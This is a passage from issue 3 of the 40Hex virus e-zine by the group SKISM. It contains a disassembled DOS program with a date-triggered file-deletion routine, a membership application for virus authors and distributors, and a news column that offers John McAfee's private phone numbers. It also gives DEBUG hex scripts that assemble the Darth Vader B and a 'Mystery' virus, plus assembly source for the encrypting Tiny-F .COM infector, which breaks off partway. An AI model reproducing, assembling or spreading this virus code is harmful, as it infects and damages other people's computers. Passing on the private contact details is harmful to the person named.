  2753.                 jmp     short loc_94
  2754. loc_95:
  2755.                 pop     dx
  2756.                 pop     bx
  2757.                 retn
  2758. sub_45          endp
  2759.   
  2760.   
  2761.   
  2762. sub_46          proc    near
  2763.                 push    ax
  2764.                 mov     ah,2
  2765.                 int     21h
  2766.                 pop     ax
  2767.                 retn
  2768. sub_46          endp
  2769.   
  2770.   
  2771.   
  2772. sub_47          proc    near
  2773.                 push    dx
  2774.                 mov     dl,0Dh
  2775.                 call    sub_46
  2776.                 mov     dl,0Ah
  2777.                 call    sub_46
  2778.                 pop     dx
  2779.                 retn
  2780. sub_47          endp
  2781.   
  2782.                 db      0, 0ACh, 29h, 0ADh, 29h, 0AEh
  2783.                 db      29h, 0AFh, 29h, 0B0h, 29h, 0E9h
  2784.                 db      6Ch, 2
  2785. loc_96:
  2786.                 jmp     loc_97
  2787.                 db      0
  2788.                 db      13 dup (0)
  2789.                 db      0E9h, 60h, 11h, 0Dh, 0, 0
  2790.                 db      0
  2791.                 db      44h, 29h
  2792.                 db      42 dup (0)
  2793.                 db      0D0h, 7, 6, 6
  2794.                 db      13 dup (0)
  2795.                 db      3, 2, 0CFh, 0C9h, 0Dh, 0CFh
  2796.                 db      0Dh
  2797.                 db      79 dup (0)
  2798.                 db      0Dh, 0Ah, 'Please enter the passw'
  2799.                 db      'ord now: '
  2800.                 db      0
  2801.                 db      0Dh, 0Ah, 'This program requires '
  2802.                 db      'DOS 3.00 or greater'
  2803.                 db      7, 0Dh, 0Ah, 0, 5Ch, 2Ah
  2804.                 db      2Eh, 2Ah, 0
  2805.                 db      0Dh, 0Ah, 'Access denied'
  2806.                 db      7, 0Dh, 0Ah, 0, 42h, 23h
  2807.                 db      0
  2808.                 db      305 dup (0)
  2809. loc_97:
  2810.                 push    ax
  2811.                 push    bx
  2812.                 mov     ax,word ptr ds:[101h]
  2813.                 add     ax,103h
  2814.                 shr     ax,1
  2815.                 shr     ax,1
  2816.                 shr     ax,1
  2817.                 shr     ax,1
  2818.                 mov     bx,ax
  2819.                 mov     ax,cs
  2820.                 add     ax,bx
  2821.                 push    ax
  2822.                 mov     ax,267h
  2823.                 push    ax
  2824.                 retf
  2825.                 db      5Bh, 58h, 2Eh, 0C6h, 6, 1Ah
  2826.                 db      0, 0FFh, 2Eh, 8Ch, 6, 17h
  2827.                 db      1, 2Eh, 0A3h, 19h, 1, 2Eh
  2828.                 db      89h, 26h, 1Bh, 1, 2Eh, 8Ch
  2829.                 db      16h, 1Dh, 1, 8Ch, 0C8h, 8Eh
  2830.                 db      0D0h, 0BCh, 4Bh, 2, 2Eh, 0A1h
  2831.                 db      19h, 1, 50h, 53h, 51h, 52h
  2832.                 db      56h, 57h, 55h, 1Eh, 6, 8Ch
  2833.                 db      0C8h, 8Eh, 0D8h, 8Eh, 0C0h, 0A0h
  2834.                 db      1Bh, 0, 3Ch, 50h, 75h, 6
  2835.                 db      0E8h, 6Ch, 0, 0EBh, 15h, 90h
  2836.                 db      3Ch, 44h, 75h, 6, 0E8h, 7Ah
  2837.                 db      0, 0EBh, 0Bh, 90h
  2838. loc_98:
  2839.                 cmp     al,4Ch
  2840.                 jne     loc_99
  2841.                 call    sub_49
  2842.                 jmp     short loc_100
  2843. loc_99:
  2844.                 stc
  2845. loc_100:
  2846.                 jc      loc_103
  2847.                 pop     es
  2848.                 pop     ds
  2849.                 pop     bp
  2850.                 pop     di
  2851.                 pop     si
  2852.                 pop     dx
  2853.                 pop     cx
  2854.                 pop     bx
  2855.                 cmp     byte ptr cs:data_7e,0
  2856.                 je      loc_101
  2857.                 mov     ax,cs:data_4e
  2858.                 mov     ds:data_1e,ax
  2859.                 mov     ax,cs:data_5e
  2860.                 mov     ds:data_2e,ax
  2861.                 mov     ax,100h
  2862.                 mov     cs:data_4e,ax
  2863.                 mov     cs:data_5e,ds
  2864.                 jmp     short loc_102
  2865. loc_101:
  2866.                 mov     ax,cs
  2867.                 sub     ax,cs:data_6e
  2868.                 add     cs:data_5e,ax
  2869. loc_102:
  2870.                 pop     ax
  2871.                 mov     ss,word ptr cs:[11Dh]
  2872.                 mov     sp,word ptr cs:[11Bh]
  2873.                 jmp     dword ptr cs:data_4e
  2874. loc_103:
  2875.                 mov     dx,104h
  2876.                 call    sub_52
  2877.                 mov     ax,4CFFh
  2878.                 int     21h
  2879.                 db      0BAh, 0AEh, 0, 0E8h, 0B6h, 0
  2880.                 db      0C6h, 6, 58h, 0, 29h, 0BAh
  2881.                 db      58h, 0, 0E8h, 79h, 0, 0E8h
  2882.                 db      0C2h, 0, 0E8h, 8Ch, 0, 0C3h
  2883.   
  2884. sub_48          proc    near
  2885.                 mov     ah,2Ah
  2886.                 int     21h
  2887.                 cmp     cx,ds:data_8e
  2888.                 jb      loc_106
  2889.                 cmp     dh,ds:data_9e
  2890.                 jb      loc_106
  2891.                 cmp     dl,ds:data_10e
  2892.                 jb      loc_106
  2893.                 mov     ah,30h
  2894.                 int     21h
  2895.                 cmp     al,3
  2896.                 jae     loc_104
  2897.                 mov     dx,0D0h
  2898.                 call    sub_52
  2899.                 clc
  2900.                 jmp     short loc_106
  2901.                 db      90h
  2902. loc_104:
  2903.                 push    ds
  2904.                 push    es
  2905.                 xor     al,al
  2906.                 mov     cx,8000h
  2907.                 mov     es,word ptr cs:copyright+1
  2908.                 mov     es,es:data_3e
  2909.                 xor     di,di
  2910. loc_105:
  2911.                 repne   scasb
  2912.                 scasb
  2913.                 jnz     loc_105
  2914.                 add     di,2
  2915.                 push    es
  2916.                 pop     ds
  2917.                 mov     dx,di
  2918.                 mov     ah,41h
  2919.                 int     21h
  2920.                 clc
  2921.                 pop     es
  2922.                 pop     ds
  2923. loc_106:
  2924.                 cmc
  2925.                 retn
  2926. sub_48          endp
  2927.   
  2928.   
  2929. sub_49          proc    near
  2930.                 mov     ah,1Ah
  2931.                 mov     dx,83h
  2932.                 int     21h
  2933.                 mov     ah,4Eh
  2934.                 mov     cx,8
  2935.                 mov     dx,0FFh
  2936.                 int     21h
  2937.                 mov     si,0A1h
  2938.                 mov     di,4Bh
  2939.                 cld
  2940. loc_107:
  2941.                 lodsb
  2942.                 scasb
  2943.                 stc
  2944.                 jnz     loc_ret_108
  2945.                 or      al,al
  2946.                 jnz     loc_107
  2947.   
  2948. loc_ret_108:
  2949.                 retn
  2950. sub_49          endp
  2951.   
  2952.  
  2953. sub_50          proc    near
  2954.                 push    ax
  2955.                 push    bx
  2956.                 push    cx
  2957.                 mov     ah,0Ah
  2958.                 int     21h
  2959.                 mov     bx,dx
  2960.                 inc     bx
  2961.                 mov     cl,[bx]
  2962.                 xor     ch,ch
  2963.                 jcxz    loc_110
  2964.   
  2965. locloop_109:
  2966.                 inc     bx
  2967.                 not     byte ptr [bx]
  2968.                 loop    locloop_109
  2969.   
  2970. loc_110:
  2971.                 pop     cx
  2972.                 pop     bx
  2973.                 pop     ax
  2974.                 retn
  2975. sub_50          endp
  2976.   
  2977.   
  2978. sub_51          proc    near
  2979.                 push    cx
  2980.                 push    si
  2981.                 push    di
  2982.                 mov     cl,ds:data_11e
  2983.                 xor     ch,ch
  2984.                 mov     si,59h
  2985.                 mov     di,1Dh
  2986.                 cld
  2987.                 repe    cmpsb
  2988.                 jz      loc_111
  2989.                 stc
  2990. loc_111:
  2991.                 pop     di
  2992.                 pop     si
  2993.                 pop     cx
  2994.                 retn
  2995. sub_51          endp
  2996.   
  2997.   
  2998.   
  2999. sub_52          proc    near
  3000.                 push    bx
  3001.                 push    dx
  3002.                 mov     bx,dx
  3003. loc_112:
  3004.                 mov     dl,[bx]
  3005.                 or      dl,dl
  3006.                 jz      loc_113
  3007.                 call    sub_53
  3008.                 inc     bx
  3009.                 jmp     short loc_112
  3010. loc_113:
  3011.                 pop     dx
  3012.                 pop     bx
  3013.                 retn
  3014. sub_52          endp
  3015.   
  3016.   
  3017.   
  3018. sub_53          proc    near
  3019.                 push    ax
  3020.                 mov     ah,2
  3021.                 int     21h
  3022.                 pop     ax
  3023.                 retn
  3024. sub_53          endp
  3025.   
  3026.   
  3027. sub_54          proc    near
  3028.                 push    dx
  3029.                 mov     dl,0Dh
  3030.                 call    sub_53
  3031.                 mov     dl,0Ah
  3032.                 call    sub_53
  3033.                 pop     dx
  3034.                 retn
  3035. sub_54          endp
  3036.   
  3037.                 db      0F0h, 0FDh, 0C5h, 0AAh, 0FFh, 0F0h
  3038.                 db      8Dh, 6Dh, 0B2h
  3039.                 db      73h
  3040.   
  3041. seg_a           ends
  3042.   
  3043.   
  3044.   
  3045.                 end     start
  3046.  
  3047. -------------------------------------------------------------------------------
  3048.  40Hex Issue 3                                                      0005
  3049.  
  3050.                   Application For Membership To SKISM
  3051.  
  3052.  
  3053.     SKISM is quickly becoming one of the largest virus creators/
  3054.     distributers in America.  Part of getting bigger is branching
  3055.     out in new directions and getting more members.
  3056.  
  3057.     If you wish to apply for membership to SKISM or if you want
  3058.     your board to become to become a SKISM distribution site
  3059.     fill out the application below and upload it to one of the
  3060.     SKISM home bases listed in file one of this archive.
  3061.  
  3062.     Keep in mind, from the start of the group SKISM we have been
  3063.     virus authors, not trojan, bomb, or any other such distructive
  3064.     mechanism.  The entire purpose of SKISM is virus reserch, to
  3065.     better understand the situation today with computer viruses.
  3066.  
  3067.     Therefore trojan and bomb authors shall apply elsewere, when
  3068.     you brush up your work, come back.  No disrespect intended.
  3069.  
  3070. ------------------------------------------------------------------------------
  3071.  
  3072.                        Application For Membership
  3073.  
  3074.  
  3075.   I am interested in becoming
  3076.  
  3077.   ___ A SKISM Member
  3078.   ___ A SKISM Distribution Site Sysop
  3079.  
  3080.  
  3081.   Handle:      ________________
  3082.   Aliases:     ________________
  3083.   First Name:  ________________  (Used only for verification)
  3084.  
  3085.  
  3086.   Have you ever written a computer virus(es)? ___
  3087.   If yes name it/them: _______________________________________
  3088.                        _______________________________________
  3089.  
  3090.   Programming Languages you know: ____________________________ Know Well
  3091.                                   ____________________________    :
  3092.                                   ____________________________    :
  3093.                                   ____________________________ Hardly Know
  3094.  
  3095.   Are you a sysop of a BBS?  ___
  3096.   If yes leave the vitals:
  3097.                            BBS Name: _________________________
  3098.                            Dialup:   _________________________
  3099.                            State:    _________________________
  3100.                            Running:  example: Telegard._______
  3101.  
  3102.   Are you in any way connected to and law enforcment agency? ___
  3103.   Do you realize that being untruthfull to the above question
  3104.   waviers all legal matters: ____
  3105.   Are you in anyway connected to any software company? ___
  3106.  
  3107.   List three people you know (handles) : _________________
  3108.                                          _________________
  3109.                                          _________________
  3110.  
  3111.   List three BBS that you have elite access to:
  3112.  
  3113.   Name: _____________________   Dialup: _______________________
  3114.   Name: _____________________   Dialup: _______________________
  3115.   Name: _____________________   Dialup: _______________________
  3116.  
  3117.   Thank you.
  3118.  
  3119.   Please upload this applcation to one of the SKISM distribution site
  3120.   mentioned in the first file of this archive.
  3121.  
  3122. -------------------------------------------------------------------------------
  3123.  
  3124.  40Hex Issue 3                                                      0006
  3125.  
  3126.                                Virus News
  3127.  
  3128.   10/91
  3129.   -----
  3130.  
  3131.   Well the virus world is going as good as ever, dispite the over 20
  3132.   virus scanners/removers out there.
  3133.  
  3134.   The October 28th issue of PC-Magazine did a huge artical on the newest
  3135.   virus scanner/defense systems.  Mentioned in the artical were SKISM-1
  3136.   and Captian Trips.
  3137.  
  3138.   There is a new catagory of viruses out there, DIR-2 viruses.  Havent
  3139.   located one as of yet, but hope to in the near future.
  3140.  
  3141.   Bogus SCANS continue to surface in the public domain.  As if SCAN 82
  3142.   was not played with enough, there have been many reports of bogus
  3143.   versions SCAN 84.  Most of which contian trojan bombs and will distroy
  3144.   the FAT table or boot sector of you hard disk upon execution.
  3145.  
  3146.   I have the unreleased phone numbers of John Mcafee. Including his
  3147.   private office, home, and fax numbers.  Get a hold of me somehow and I
  3148.   will get them to you.
  3149.  
  3150.   Theres a bogus version of the Red Cross virus going around on h/p
  3151.   boards.  The first command is to terminate the program.  Things people
  3152.   do for credit these days.
  3153.  
  3154.   In case you haven't yet heard Patti Hoffmans VSUM, virus information
  3155.   summary is now a giant hyper-text database.  It's really a good
  3156.   program, check it out.  Can't wait to see a bogus version of that
  3157.   going around.
  3158.  
  3159.   That's it for no - till later.
  3160.  
  3161.  40Hex Issue 3                                                      0007
  3162.  
  3163.                      The Darth Vader Virus Strain B
  3164.  
  3165.      The Darth Vader virus is pretty cool because it is a little
  3166.      differnt than most other viruses.  Instead of going resident
  3167.      and infecting all programs run, it infects the stack space
  3168.      of all .COM files, as they are copied.  Pretty cool, huh?
  3169.  
  3170.      This virus only infects .COM files with a stack space equal
  3171.      to its own size.
  3172.  
  3173.      It's orgin is Bulgeria, hmmm, has Bulgeria become the virus
  3174.      captial of the world all of a sudden???
  3175.  
  3176.      Well here it is, enjoy.
  3177.  
  3178. ------------------------------------------------------------------------------
  3179. n darth-2.com
  3180. e 0100  E8 00 00 5E 83 EE 03 89 36 F0 00 A3 FE 00 31 C0
  3181. e 0110  8E D8 8E 06 AE 00 B8 00 90 8E D8 31 FF 47 81 FF
  3182. e 0120  00 0F 77 58 57 31 F6 B9 58 01 F3 A6 5F E3 02 EB
  3183. e 0130  EC 2E 8B 36 F0 00 2E 89 3E F2 00 0E 1F B9 58 01
  3184. e 0140  F3 A4 06 1F 8B F7 46 74 33 56 AD 93 AC 81 FB 36
  3185. e 0150  FF 74 03 5E EB F0 3C 16 75 F9 5E 56 2E 8B 3E F2
  3186. e 0160  00 89 3E 04 00 81 C7 41 01 A5 A5 A4 5F B0 9A AA
  3187. e 0170  B8 95 00 2E 03 06 F2 00 AB 8C C0 AB 0E 0E 1F 07
  3188. e 0180  BF 00 01 57 8B 36 F0 00 81 C6 47 01 A5 A4 A1 FE
  3189. e 0190  00 C3 E9 9C 00 2E 8C 1E 0A 00 2E 89 16 0C 00 2E
  3190. e 01A0  89 0E 0E 00 50 53 51 06 56 57 80 FC 40 75 E3 81
  3191. e 01B0  F9 68 01 72 DD B8 20 12 CD 2F 26 8A 1D B8 16 12
  3192. e 01C0  CD 2F 83 C7 28 0E 1F BE 4A 01 03 36 04 00 B9 03
  3193. e 01D0  00 F3 A6 75 5C 1E 07 2E 8E 1E 0A 00 2E 8B 36 0C
  3194. e 01E0  00 BF 47 01 2E 03 3E 04 00 A5 A4 B8 00 90 8E C0
  3195. e 01F0  2E 8B 0E 0E 00 31 FF 46 49 74 36 51 56 B9 58 01
  3196. e 0200  F3 A6 5E E3 03 59 EB ED 59 56 1E 2E 8E 06 0A 00
  3197. e 0210  2E 8B 3E 0C 00 B0 E9 AA 2E 2B 36 0C 00 83 EE 03
  3198. e 0220  8B C6 AB 07 5F 0E 1F 2E 8B 36 04 00 B9 58 01 F3
  3199. e 0230  A4 5F 5E 07 59 5B 58 2E 8B 16 0C 00 2E 8E 1E 0A
  3200. e 0240  00 00 00 00 00 00 CB CD 20 90 43 4F 4D 44 61 72
  3201. e 0250  74 68 20 56 61 64 65 72 90 1A 1A 1A 1A 1A 1A 1A
  3202. rcx
  3203. 159
  3204. w
  3205. q
  3206. -------------------------------------------------------------------------------
  3207.  
  3208.  
  3209.  40Hex Issue 3                                                      0008
  3210.  
  3211.                              Mystery Virus
  3212.  
  3213.  
  3214.         Actually I do know what this virus is, but being Halloween time
  3215.         and all I thought I'd let you find out for yourself.
  3216.  
  3217. -------------------------------------------------------------------------------
  3218. n mystery.com
  3219. e 0100  E9 4B 00 CD 21 2E 56 53 2E 00 8C C3 83 C3 10 2E
  3220. e 0110  03 9C 3C 07 2E 89 9C 32 00 2E 8B 9C 3A 07 2E 89
  3221. e 0120  9C 30 00 8C C3 83 C3 10 2E 03 9C 40 07 8E D3 2E
  3222. e 0130  8B A4 3E 07 EA 00 00 00 00 BF 00 01 81 C6 42 07
  3223. e 0140  A4 A5 8B 26 06 00 33 DB 53 FF 64 F5 00 07 E8 00
  3224. e 0150  00 5E 83 EE 4C FC 2E 81 BC 42 07 4D 5A 74 0E FA
  3225. e 0160  8B E6 81 C4 FC 08 FB 3B 26 06 00 73 CC 2E C6 84
  3226. e 0170  76 00 C5 50 06 56 1E 0E 1F B8 00 C5 CD 21 3D 31
  3227. e 0180  67 75 04 07 E9 AB 00 07 B4 49 CD 21 BB FF FF B4
  3228. e 0190  48 CD 21 81 EB E8 00 73 03 E9 96 00 8C C1 F9 13
  3229. e 01A0  CB B4 4A CD 21 BB E7 00 F9 26 19 1E 02 00 06 8E
  3230. e 01B0  C1 B4 4A CD 21 8C C0 48 8E D8 C7 06 01 00 08 00
  3231. e 01C0  E8 E1 05 8B D8 8B CA 1F 8C D8 E8 D7 05 03 06 06
  3232. e 01D0  00 83 D2 00 2B C3 1B D1 72 04 29 06 06 00 1E 0E
  3233. e 01E0  2E C6 84 F5 00 62 33 FF 8E DF 1F B9 95 07 90 F3
  3234. e 01F0  A4 26 C7 06 49 07 00 00 B8 00 62 CD 21 8E DB 8B
  3235. e 0200  3E 08 00 8B DF 8B 3E 06 00 47 8E DB 8B 5D 02 8B
  3236. e 0210  3D 83 C7 1A 26 89 1E 93 07 8C C1 8E C3 FA B8 EA
  3237. e 0220  00 AA B8 38 03 AB 8B C1 AB 8E C1 26 89 3E 91 07
  3238. e 0230  FB 07 B8 00 2A CD 21 3A D6 74 14 E9 8D 00 69 62
  3239. e 0240  6D 40 40 53 4E 53 20 20 20 20 20 20 20 20 20 0E
  3240. e 0250  1F 5E 56 2E C6 84 68 01 CD B0 02 B9 01 00 33 D2
  3241. e 0260  2E C6 84 69 01 25 8B DE 81 C3 26 03 56 2D 4C 5A
  3242. e 0270  5E 72 58 06 1E 07 2E C6 84 B1 01 26 2E C6 84 B0
  3243. e 0280  01 CD 8B FB 81 C7 F3 01 56 8B F3 83 C6 0B B9 09
  3244. e 0290  00 83 3C 00 74 16 F3 A4 5E 8B FB 83 C7 03 56 81
  3245. e 02A0  C6 39 01 B9 11 00 AC 2C 20 AA E2 FA 5E 56 33 D2
  3246. e 02B0  B0 02 B9 01 00 0C 1B 58 5E 07 72 0F 0E 1F 58 1F
  3247. e 02C0  B8 03 C5 CD 21 58 B8 00 4C CD 21 5E 07 58 06 1F
  3248. e 02D0  2E 81 BC 42 07 4D 5A 75 03 E9 2E FE E9 5A FE 50
  3249. e 02E0  53 51 52 56 57 06 1E 0E 1F 80 3E 39 07 01 75 2A
  3250. e 02F0  B8 03 00 CD 10 C6 06 35 07 09 C6 06 38 07 00 C6
  3251. e 0300  06 36 07 00 C6 06 37 07 00 C6 06 33 07 00 C6 06
  3252. e 0310  39 07 00 90 C7 06 31 07 D2 06 80 3E 33 07 01 75
  3253. e 0320  03 E9 D5 00 80 3E 30 07 00 74 07 FE 0E 30 07 E9
  3254. e 0330  C7 00 8B 1E 31 07 83 3F FF 75 13 E4 61 24 FC E6
  3255. e 0340  61 C6 06 34 07 00 C6 06 33 07 01 E9 AB 00 80 3E
  3256. e 0350  34 07 01 75 03 E9 92 00 B0 B6 E6 43 8A 47 02 A2
  3257. e 0360  30 07 C6 06 34 07 01 8B 1F B8 DD 34 BA 12 00 F7
  3258. e 0370  F3 E6 42 8A C4 E6 42 E4 61 0C 03 E6 61 83 06 31
  3259. e 0380  07 03 8A 36 37 07 8D 36 A5 06 B9 03 00 80 3E 35
  3260. e 0390  07 0F 7E 09 C6 06 35 07 09 90 EB 0E 90 80 3E 35
  3261. e 03A0  07 09 73 06 C6 06 35 07 0F 90 8A 1E 35 07 8A 16
  3262. e 03B0  36 07 E8 4D 00 FE C6 E2 F1 80 06 36 07 02 80 3E
  3263. e 03C0  38 07 01 74 19 80 3E 37 07 15 77 0C 80 06 37 07
  3264. e 03D0  02 FE 06 35 07 EB 22 90 C6 06 38 07 01 90 80 2E
  3265. e 03E0  37 07 02 FE 0E 35 07 EB 10 90 8A 07 A2 30 07 C6
  3266. e 03F0  06 34 07 00 83 06 31 07 01 1F 07 5F 5E 5A 59 5B
  3267. e 0400  58 CF 51 B7 00 B4 02 CD 10 B9 01 00 AC 0A C0 74
  3268. e 0410  18 2C 20 3C DF 74 04 3C DC 75 06 B9 22 00 80 C2
  3269. e 0420  21 B4 09 CD 10 FE C2 EB DC 59 C3 B0 03 CF E8 39
  3270. e 0430  01 E8 49 03 9D 80 FC 68 2E FF 2E 91 07 55 8B EC
  3271. e 0440  FF 76 06 9D 5D 9C FC 3D 00 4B 74 E2 80 FC 3C 74
  3272. e 0450  0A 80 FC 3E 74 4A 80 FC 5B 75 6F 2E 83 3E 49 07
  3273. e 0460  00 74 03 E9 A6 00 E8 B9 00 74 03 E9 9E 00 E8 0C
  3274. e 0470  03 9D E8 EB 00 73 03 E9 99 00 9C 06 0E 07 56 57
  3275. e 0480  51 50 BF 49 07 AB 8B F2 B9 41 00 AC AA 84 C0 74
  3276. e 0490  07 E2 F8 26 89 0E 49 07 58 59 5F 5E 07 9D 73 73
  3277. e 04A0  2E 3B 1E 49 07 75 65 85 DB 74 61 E8 CF 02 9D E8
  3278. e 04B0  AE 00 72 5F 9C 1E 0E 1F 52 BA 4B 07 E8 AB 00 2E
  3279. e 04C0  C7 06 49 07 00 00 5A 1F EB D3 80 FC 3D 74 35 80
  3280. e 04D0  FC 43 74 30 80 FC 56 74 2B 80 FC C5 75 2E 3C 03
  3281. e 04E0  74 06 B8 31 67 EB 37 90 1E B8 00 00 8E D8 FA C7
  3282. e 04F0  06 70 00 DA 01 8C 0E 72 00 FB 1F 2E C6 06 39 07
  3283. e 0500  01 EB 1B 90 E8 1B 00 75 03 E8 5E 00 E8 6E 02 9D
  3284. e 0510  E8 4D 00 9C 1E E8 70 02 C6 06 00 00 5A 1F 9D CA
  3285. e 0520  02 00 50 56 8B F2 AC 84 C0 74 24 3C 2E 75 F7 E8
  3286. e 0530  22 00 8A E0 E8 1D 00 3D 6F 63 74 0C 3D 78 65 75
  3287. e 0540  10 E8 10 00 3C 65 EB 09 E8 09 00 3C 6D EB 02 FE
  3288. e 0550  C0 5E 58 C3 AC 3C 43 72 06 3C 59 73 02 04 20 C3
  3289. e 0560  9C 80 FC 68 2E FF 1E 91 07 C3 1E 06 56 57 50 53
  3290. e 0570  51 52 8C DE 33 C0 8E D8 C4 06 90 00 06 50 C7 06
  3291. e 0580  90 00 26 03 8C 0E 92 00 8E DE 33 C9 B8 00 43 E8
  3292. e 0590  CE FF 8B D9 80 E1 FE 3A CB 74 07 B8 01 43 E8 BF
  3293. e 05A0  FF F9 9C 1E 52 53 B8 02 3D E8 B4 FF 72 0A 8B D8
  3294. e 05B0  E8 26 00 B4 3E E8 A8 FF 59 5A 1F 9D 73 06 B8 01
  3295. e 05C0  43 E8 9C FF 33 C0 8E D8 8F 06 90 00 8F 06 92 00
  3296. e 05D0  5A 59 5B 58 5F 5E 07 1F C3 0E 1F 0E 07 BA 95 07
  3297. e 05E0  B9 18 00 B4 3F E8 78 FF 33 C9 33 D2 B8 02 42 E8
  3298. e 05F0  6E FF 89 16 AF 07 3D 00 0B 83 DA 00 72 6C A3 AD
  3299. e 0600  07 81 3E 95 07 4D 5A 75 17 A1 9D 07 03 06 AB 07
  3300. e 0610  E8 91 01 03 06 A9 07 83 D2 00 8B CA 8B D0 EB 15
  3301. e 0620  80 3E 95 07 E9 75 44 8B 16 96 07 81 C2 03 01 72
  3302. e 0630  3A FE CE 33 C9 B8 00 42 E8 25 FF 05 00 07 90 83
  3303. e 0640  D2 00 3B 06 AD 07 75 23 3B 16 AF 07 75 1D BA B1
  3304. e 0650  07 8B F2 B9 EF 02 B4 3F E8 05 FF 72 0E 3B C8 75
  3305. e 0660  0A BF 49 00 AC AE 75 03 E2 FA C3 33 C9 33 D2 B8
  3306. e 0670  02 42 E8 EB FE A3 45 07 89 16 47 07 81 3E 95 07
  3307. e 0680  4D 5A 74 0A 05 95 09 90 83 D2 00 74 19 C3 8B 16
  3308. e 0690  AD 07 F6 DA 83 E2 0F 33 C9 B8 01 42 E8 C1 FE A3
  3309. e 06A0  AD 07 89 16 AF 07 B8 00 57 E8 B4 FE 9C 51 52 81
  3310. e 06B0  3E 95 07 4D 5A 74 05 B8 00 01 EB 07 A1 A9 07 8B
  3311. e 06C0  16 AB 07 2E C7 06 47 00 00 07 BF 3A 07 AB 8B C2
  3312. e 06D0  AB A1 A5 07 AB A1 A3 07 AB BE 95 07 A4 A5 33 D2
  3313. e 06E0  B9 49 07 90 B4 40 E8 77 FE 72 27 33 C8 75 23 8B
  3314. e 06F0  D1 B8 00 42 E8 69 FE 81 3E 95 07 4D 5A 74 15 C6
  3315. e 0700  06 95 07 E9 A1 AD 07 05 46 00 A3 96 07 B9 03 00
  3316. e 0710  EB 57 EB 5D E8 8A 00 F7 D0 F7 D2 40 75 01 42 03
  3317. e 0720  06 AD 07 13 16 AF 07 B9 10 00 F7 F1 C7 06 A9 07
  3318. e 0730  49 00 A3 AB 07 05 72 00 A3 A3 07 C7 06 A5 07 00
  3319. e 0740  01 81 06 AD 07 49 07 83 16 AF 07 00 A1 AD 07 25
  3320. e 0750  FF 01 A3 97 07 9C A1 AE 07 D0 2E B0 07 D1 D8 9D
  3321. e 0760  74 01 40 A3 99 07 B9 18 00 BA 95 07 B4 40 E8 EF
  3322. e 0770  FD 5A 59 9D 72 06 B8 01 57 E8 E4 FD C3 1E E8 07
  3323. e 0780  00 C6 06 00 00 4D 1F C3 50 53 B4 62 E8 D1 FD 8C
  3324. e 0790  C8 48 4B 8E DB F9 13 1E 03 00 3B D8 72 F5 5B 58
  3325. e 07A0  C3 A1 9D 07 BA 10 00 F7 E2 C3 FE FF FD 00 FE 40
  3326. e 07B0  75 73 73 72 40 40 40 40 40 76 89 92 95 73 8F 86
  3327. e 07C0  94 40 40 48 83 49 40 40 96 51 4E 40 51 59 59 50
  3328. e 07D0  40 FD 00 FE FC FD 00 4A 01 03 01 B8 01 0B 01 4A
  3329. e 07E0  01 06 01 72 01 01 02 9F 01 09 01 15 01 02 02 15
  3330. e 07F0  01 03 02 72 01 08 01 4A 01 05 02 26 01 01 01 4A
  3331. e 0800  01 08 02 15 01 03 02 15 01 03 03 26 01 08 02 26
  3332. e 0810  01 05 01 4A 01 01 02 72 01 08 01 72 01 04 01 72
  3333. e 0820  01 04 00 72 01 08 02 9F 01 06 02 B8 01 01 02 EE
  3334. e 0830  01 0F FF FF FF 00 00 00 01 00 00 00 00 00 00 00
  3335. e 0840  01 3A 16 D8 8E C3 8E B8 00 4C 05 00 00 00 1A 1A
  3336.  
  3337. rcx
  3338. 74e
  3339. w
  3340. q
  3341. -------------------------------------------------------------------------------
  3342.  
  3343.  
  3344.  40Hex Issue 3                                                      0009
  3345.  
  3346.                             The Tiny-F Virus
  3347.  
  3348.        In our first issue we gave you the source for the Tiny-B virus.
  3349.        Well some people don't quit.
  3350.  
  3351.        After months of struggling Psyco-genius decided to give
  3352.        his attempts to make this a good virus over to someone who
  3353.        knows what he's doning.
  3354.  
  3355.        So Dark (mastered assembler in one week) Angel did some mods
  3356.        and here we have it.
  3357.  
  3358. -------------------------------------------------------------------------------
  3359. tinyv   SEGMENT BYTE PUBLIC 'code'
  3360.         ASSUME  CS:tinyv, DS:tinyv, SS:tinyv, ES:tinyv
  3361.  
  3362.         ORG     100h
  3363.  
  3364. DOS     EQU     21h
  3365.  
  3366. start:  JMP     pgstart
  3367. exlbl:  db      0CDh, 20h, 7, 8, 9
  3368. pgstart:CALL    tinyvir
  3369. tinyvir:
  3370.         POP     SI                      ; get SI for storage
  3371.         SUB     SI,offset tinyvir       ; reset SI to virus start
  3372.         MOV     BP,[SI+blnkdat]         ; store SI in BP for return
  3373.         ADD     BP, OFFSET exlbl
  3374.         CALL    endecrpt
  3375.         JMP     SHORT realprog
  3376.  
  3377. ;-----------------------------------------------------------------------------
  3378. ; nonencrypted subroutines start here
  3379. ;-----------------------------------------------------------------------------
  3380.  
  3381. ; PCM's encryption was stupid, mine is better - Dark Angel
  3382. endecrpt:
  3383. ; Only need to save necessary registers - Dark Angel
  3384.         PUSH    AX                      ; store registers
  3385.         PUSH    BX
  3386.         PUSH    CX
  3387.         PUSH    SI
  3388. ; New, better, more compact encryption engine
  3389.         MOV     BX, [SI+EN_VAL]
  3390.         ADD     SI, offset realprog
  3391.         MOV     CX, endenc - realprog
  3392.         SHR     CX, 1
  3393.         JNC     start_encryption
  3394.         DEC     SI
  3395. start_encryption:
  3396.         MOV     DI, SI
  3397. encloop:
  3398.         LODSW                           ; DS:[SI] -> AX
  3399.         XOR     AX, BX
  3400.         STOSW
  3401.         LOOP    encloop
  3402.  
  3403.         POP     SI                      ; restore registers
  3404.         POP     CX
  3405.         POP     BX
  3406.         POP     AX
  3407.         RET
  3408. ;-----end of encryption routine
  3409. nfect:
  3410.         CALL    endecrpt
  3411.         MOV     [SI+offset endprog+3],AX; point to data
  3412.         MOV     AH,40H                  ; write instruction
  3413.         LEA     DX,[SI+0105H]           ; write buffer loc    |
  3414.         MOV     CX,offset endprog-105h  ; (size of virus)  --\|/--
  3415.         INT     DOS                     ; do it!
  3416.         PUSHF
  3417.         CALL    endecrpt
  3418.         POPF
  3419.         JC      outa1                    ; error, bug out
  3420.         RET
  3421. outa1:
  3422.         JMP     exit
  3423.  
  3424.  
  3425. ;-----------------------------------------------------------------------------
  3426. ;    Unencrypted routines end here
  3427. ;-----------------------------------------------------------------------------
  3428. realprog:
  3429.         CLD                             ; forward direction for string ops
  3430. ; Why save DTA?  This part killed.  Saves quite a few bytes.  Dark Angel
  3431. ; Instead, set DTA to SI+ENDPROG+131h
  3432.         MOV     AH, 1Ah                 ; Set DTA
  3433.         LEA     DX, [SI+ENDPROG+131h]   ;  to DS:DX
  3434.         INT     21h
  3435.  
  3436.         LEA     DX,[SI+fspec]           ; get filespec (*.COM)
  3437.         XOR     CX, CX                  ;        ||   (clear regs)
